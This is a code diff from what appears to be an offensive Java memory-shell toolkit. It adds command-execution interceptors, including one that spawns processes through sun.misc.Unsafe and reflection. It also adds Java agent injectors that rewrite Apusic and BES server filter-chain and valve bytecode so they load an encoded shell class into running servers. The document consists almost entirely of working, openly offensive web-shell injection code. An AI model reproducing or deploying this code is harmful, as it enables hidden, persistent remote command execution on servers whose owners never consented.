* @author ReaJason * @author ReaJason
* @since 2024/11/24 * @since 2024/11/24
*/ */
public class CommandGenerator { public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
private final ShellConfig shellConfig;
private final CommandConfig commandConfig;
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) { public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
this.shellConfig = shellConfig; super(shellConfig, commandConfig);
this.commandConfig = commandConfig;
} }
public DynamicType.Builder<?> getBuilder() { @Override
if (commandConfig.getShellClass() == null) { public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
throw new IllegalArgumentException("commandConfig.getClazz() == null");
}
DynamicType.Builder<?> builder = new ByteBuddy() builder = builder.field(named("paramName")).value(shellToolConfig.getParamName());
.redefine(commandConfig.getShellClass())
.name(commandConfig.getShellClassName())
.field(named("paramName")).value(commandConfig.getParamName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) { if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
@@ -52,39 +38,24 @@ public class CommandGenerator {
builder = LogRemoveMethodVisitor.extend(builder); builder = LogRemoveMethodVisitor.extend(builder);
} }
String shellType = shellConfig.getShellType(); if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
put("paramName", commandConfig.getParamName());
}})
);
}
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
builder = builder builder = builder
.visit(new AsmVisitorWrapper.ForDeclaredMethods() .visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
.method(named("getParam"), shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
new MethodCallReplaceVisitorWrapper(
commandConfig.getShellClassName(),
Collections.singleton(ShellCommonUtil.class.getName()))
)
)
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC) .defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(String.class) .withParameters(String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue()) .intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString"))) .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam"))); .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
} }
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
}
return builder; return builder;
} }
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
} }
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.generator.command; package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
/** /**
@@ -10,7 +10,7 @@ import net.bytebuddy.asm.Advice;
public class DoubleBase64ParamInterceptor { public class DoubleBase64ParamInterceptor {
@Advice.OnMethodExit @Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) { public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param)); returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
} }
} }
@@ -0,0 +1,107 @@
package com.reajason.javaweb.memshell.generator.command;
import net.bytebuddy.asm.Advice;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2025/5/25
*/
public class ForkAndExecInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
try {
String[] strs = cmd.split("\\s+");
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] bytes = strs[0].getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
returnValue = ((InputStream) getInputStreamMethod.invoke(processObject));
} catch (Throwable e) {
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
}
}
}
@@ -0,0 +1,17 @@
package com.reajason.javaweb.memshell.generator.command;
import net.bytebuddy.asm.Advice;
import java.io.IOException;
import java.io.InputStream;
/**
* @author ReaJason
* @since 2025/5/25
*/
public class RuntimeExecInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
}
}
@@ -0,0 +1,219 @@
package com.reajason.javaweb.memshell.injector.apusic;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/apusic/web/container/FilterChainImpl";
private static final String TARGET_METHOD_NAME = "performFilter";
public static String getClassName() {
return "{{advisorName}}";
}
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new ApusicFilterChainAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at com.apusic.web.container.FilterChainImpl.performFilter");
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ApusicFilterInjector { public class ApusicFilterInjector {
static {
new ApusicFilterInjector();
}
public ApusicFilterInjector() { public ApusicFilterInjector() {
try { try {
List<Object> contexts = getContext(); List<Object> contexts = getContext();
@@ -45,6 +41,11 @@ public class ApusicFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
/**
* context: com.apusic.web.container.WebContainer
* context -> webapp: com.apusic.deploy.runtime.WebModule
* /usr/local/ass/lib/apusic.jar
*/
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -56,12 +57,17 @@ public class ApusicFilterInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "loader"));
}
}
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = getWebAppClassLoader(context);
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try { try {
return classLoader.loadClass(getClassName()).newInstance(); return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream;
* @since 2024/12/27 * @since 2024/12/27
*/ */
public class ApusicListenerInjector { public class ApusicListenerInjector {
static {
new ApusicListenerInjector();
}
public ApusicListenerInjector() { public ApusicListenerInjector() {
try { try {
@@ -54,9 +51,17 @@ public class ApusicListenerInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "loader"));
}
}
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader(); ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
return classLoader.loadClass(getClassName()).newInstance(); return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ApusicServletInjector { public class ApusicServletInjector {
static {
new ApusicServletInjector();
}
public ApusicServletInjector() { public ApusicServletInjector() {
try { try {
List<Object> contexts = getContext(); List<Object> contexts = getContext();
@@ -55,9 +51,17 @@ public class ApusicServletInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "loader"));
}
}
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader(); ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
return classLoader.loadClass(getClassName()).newInstance(); return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -0,0 +1,219 @@
package com.reajason.javaweb.memshell.injector.bes;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class BesContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/DefaultContextValve";
private static final String TARGET_METHOD_NAME = "invoke";
public static String getClassName() {
return "{{advisorName}}";
}
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new BesContextValveAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -0,0 +1,219 @@
package com.reajason.javaweb.memshell.injector.bes;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class BesFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/ApplicationFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
public static String getClassName() {
return "{{advisorName}}";
}
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new BesFilterChainAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
